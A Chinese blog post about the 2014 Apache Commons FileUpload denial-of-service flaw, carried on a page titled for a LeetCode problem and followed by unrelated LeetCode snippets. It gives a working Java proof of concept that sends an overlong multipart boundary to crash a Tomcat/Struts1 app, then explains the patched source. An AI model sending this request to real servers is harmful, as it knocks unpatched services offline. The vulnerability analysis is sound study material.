leetcode第一刷_Word Ladder II

注:本文仅供技术探讨, 研究,测试使用。

这个漏洞是2014年2月4日被发现的, 因为该组件试用范围非常广, 所以该漏洞的影响也非常巨大。通过特制的包含畸形header的http请求,可以导致使用该组件的应用程序进入无限循环从而耗尽CPU等资源并最终崩溃。

最近因为在修补struts1的可操纵classLoader的漏洞(struts2也有该漏洞, 不在本文讨论范围), 所以我就在我建立的struts1的项目上直接做测试,怎么创建struts1的项目不在本文讨论范围之列你可以在这里下载struts1样例程序(http://download.csdn.net/detail/sunxing007/7350433)。 只需要建立一个最简单的hello world的struts1程序即可。然后启动tomcat并部署项目。

然后用apache http component 组件写一个程序来发起一个“带特制的包含畸形header的http请求” 关键代码如下(在下载的附件中有HttpUtil.java包含完整的代码):

public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{
	CloseableHttpClient httpClient = createHttpClient();
	HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do");
	String boundary = "";
	for(int i=0; i<4092; i++){
		boundary += "a";
	}
	post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}");
	post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75");
	String body = "";
	for(int i=0; i<4097; i++){
		body +="b";
	}
    post.setEntity(new StringEntity(body));

    CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT);
    HttpEntity entity = response.getEntity();
    System.out.println(EntityUtils.toString(entity));
    System.out.println("Over!");
}

运行该程序, 你会发现该程序无法返回, 打开任务管理器,会发现CPU使用率为100%; 关闭tomcat后 CPU的使用率马上降到正常水平。

该漏洞出现在fileupload 1.3和以前的版本, apache在漏洞发现之后很快发布了1.3.1版本修复了该bug。

稍微有点好奇的我,就下载了fileupload的1.3和1.3.1的源码并比较了一下, 发现问题的原因就在于, 它在解析/读取上传内容的时候,使用了一个长度为4096的buffer,它不断的读取内容到buffer并用boundary来判断是否一个附件结束。但是如果一个boundary加上CR/LF外加两个dash(-)的长度本身就超过了buffer的长度的话, 会导致解析进入死循环。所以apache在fix这个bug的时候,会判断boundary的长度是否大于buffer的长度。如果是就抛异常。如下的代码片段出现在FileUploadBase.java和MultipartStream.java中:

try {
	multi = new MultipartStream(input, boundary, notifier);
} catch (IllegalArgumentException iae) {
	throw new InvalidContentTypeException(
			format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae);
}
public MultipartStream(InputStream input,
		byte[] boundary,
		int bufSize,
		ProgressNotifier pNotifier) {

	if (boundary == null) {
		throw new IllegalArgumentException("boundary may not be null");
	}

	this.input = input;
	this.bufSize = bufSize;
	this.buffer = new byte[bufSize];
	this.notifier = pNotifier;

	// We prepend CR/LF to the boundary to chop trailing CR/LF from
	// body-data tokens.
	this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
	if (bufSize < this.boundaryLength + 1) {
		throw new IllegalArgumentException(
				"The buffer size specified for the MultipartStream is too small");
	}
	this.boundary = new byte[this.boundaryLength];
	this.keepRegion = this.boundary.length;

	System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
			BOUNDARY_PREFIX.length);
	System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
			boundary.length);

	head = 0;
	tail = 0;
}

有兴趣的可以下载源码并详细研究一下。

转载请注明来自: http://blog.csdn.net/sunxing007

leetcode第一刷_Word Ladder II,布布扣,bubuko.com

时间: 2024-10-07 07:29:42

leetcode第一刷_Word Ladder II的相关文章

leetcode第一刷_Word Ladder

这道题思路不难,本质就是BFS嘛,从一个单词开始,他的下一层是所有可以一步变到,且从来没变到过得那些string.问题是怎样确定这些可以变到的string呢?有两个条件,一,只能通过上一层的string变化一个数字得到,二,变化之后单词必须在字典中.注意是变化一个字母得到,而不是编辑距离是1,要么就复杂了,情况多了好多好多. 我最开始的思路是建个map,保存所有从开始单词能变化到得单词及这些单词一步能变化到的那些单词.too young too simple, 在一个字典非常大的测试用例上超时了

leetcode第一刷_Unique Paths II

接着上面的问题,如果这个矩阵中有阻塞的障碍,就不能用前面的那种组合数的方法了,因为很多位置实际上是没有路的嘛. 剩下的合理解法只有dp了.跟那个求最小和的非常像,从右下角往前推算,对于一个位置(i, j),它的走法应该是(i+1, j)和(i, j+1)走法的和.对于边界条件还是有一些特殊,最后一行,从右往左,如果是0的话没有问题,等于右侧走法的个数,一旦遇到一个1,那么它以及它左边的走法都必须置成0,你可没有穿墙术. 我觉得题目明确说明了行列的个数,就是在暗示我们可以使用dp的方法,行列个数不

leetcode第一刷_Word Search

这道题之前一直没敢做,没想到前天用递归一遍过了.. 当时为什么想着用递归,而不是dp呢,因为我想到达某个位置的情况有很多,即使从当前位置开始的搜索是已知的,但之前的状态是怎样的也无从得知啊,实话实说,我是不会用dp解这个.. 递归的思路就好说多了,从当前点开始,有上下左右四个位置可以探测,如果探测成功的话,要把当前的位置用其他符号标记出来,以免重复访问.实际上就是DFS嘛,只不过入口多一些. 需要注意的一点是,每个点都可以作为起点,所以这个要穷举一下,否则会漏掉情况的.当然有一种情况走通就可以返

leetcode第一刷_Word Break

这种题一看,立马就会想到递归,但直接递归的代价太大了,当字典里的单词长度很小,而单词长度很长时,肯定会超时的.再仔细想一下,是不是每次递归验证都是有必要的呢?如果从i位置开始已经被验证为不行了,那么其他递归分支走到这个位置的时候就不用走了,因为肯定是死胡同.想到了打表,把不行的位置记录下来,速度显著提高. 下面说一点实现的事情,记录一个位置行不行,用map最简单直接,查找速度也快.每次选择步长的时候,不用从0到length,我的做法是先统计一下最长和最小的单词长度,每次验证这个长度就可以了. 代

leetcode第一刷_Single Number II

其他出现两次,只有一个出现一次的那道题我就不更了,直接抑或,最后的结果就是那个数.为什么可以这样做呢?因为一个32位int,如果所有数都出现了两次,那么为1的那些位统计的个数一定是2的倍数,抑或之后全变成0.一个数出现了一次,它为1的那些位上,1的个数必定是奇数,抑或之后一定还是1. 我之前知道出现两次这个题的解法,但是理解的不够深,以为抑或是关键,其实不是,出现了偶数次才是关键.理解了这点,推广到出现3次上,如果所有的出现了三次,那么为1的那些位1的个数一定是三的倍数,那如果有一个数出现了一次

leetcode第一刷_Jump Game II

要求最小的步数,是不是很容易想到用dp啊? 我一开始的做法是,当找到了一个可以从它延伸到更远的位置,就把这个位置和最远位置的步数都更新一下,结果超时了.其实这样不仅是超时的,而且是错误的.因为这段距离里的很多点,其实是上一步就能到达的.其实应该更新的只有哪些新的能够到达的点,那哪些点是新的能到达的点呢?假设这次能够延伸更远的点是i,它的前进步数是A[i],上一次能够到达的最远的点是mmax,那新的能到达的点应该是(mmax, i+A[i] ]这个之间的这些位置.时间复杂度一下子变成线性的了. c

leetcode第一刷_Path Sum II

测试策略:静态测试还是动态测试? [对话场景] 成功发布某个软件版本之后,项目团队召开了项目的经验教训总结大会.在会议期间,项目经理小项和测试经理小测进行了如下的对话: 小项:"小测,我们的项目时间压力很大,测试执行是我们的关键路径,测试团队是否可以在测试执行阶段投入更多的人力和物力?"限定时间和人力资源同等条件. 小测:"啊!假如增加我们的测试执行时间,在整个周期不变的情况下,我们就需要压缩前期的学习和评审投入的时间和工作量,是吗?" 小项:"是的,你看

leetcode第一刷_Subsets II

要求子集,有非常现成的方法.N个数,子集的个数是2^N,每个元素都有在集合中和不在集合中两种状态,这些状态用[0,pow(2,N)]中每个数来穷举,如果这个数中的第i位为1,说明当前集合中包含源数组中的第i个数. 至于有没有重复的元素,大部分有重复元素的问题,都可以借助一个vis集合,里面存放所有已经求得的集合或者其他形式的解,只有少数题目会超时,哪些问题具体的说. class Solution { public: vector<vector<int> > subsetsWithD

leetcode第一刷_Linked List Cycle II

这道题稍微有点意思,知道答案发现,呀,这么简单就能做啊.我一开始想的是,相遇之后用另一个指针怎么走,然后满足什么关系之后能推出来,其实不用这么麻烦.是很简单的数学关系,我画个图说一下. S1代表的是链表进入环之前的长度,a代表当两个指针相遇时,走一步的指针在环里走的长度,S2代表的是环的周长,那么根据条件,相遇时,走两步的指针走的距离是走一步的两倍,我们得到公式: (S1+a)*2 = S1+S2+a 化简一下得到 S1 = S2-a 即,环中剩下的长度刚好等于进入链表之前的长度.于是解法是:当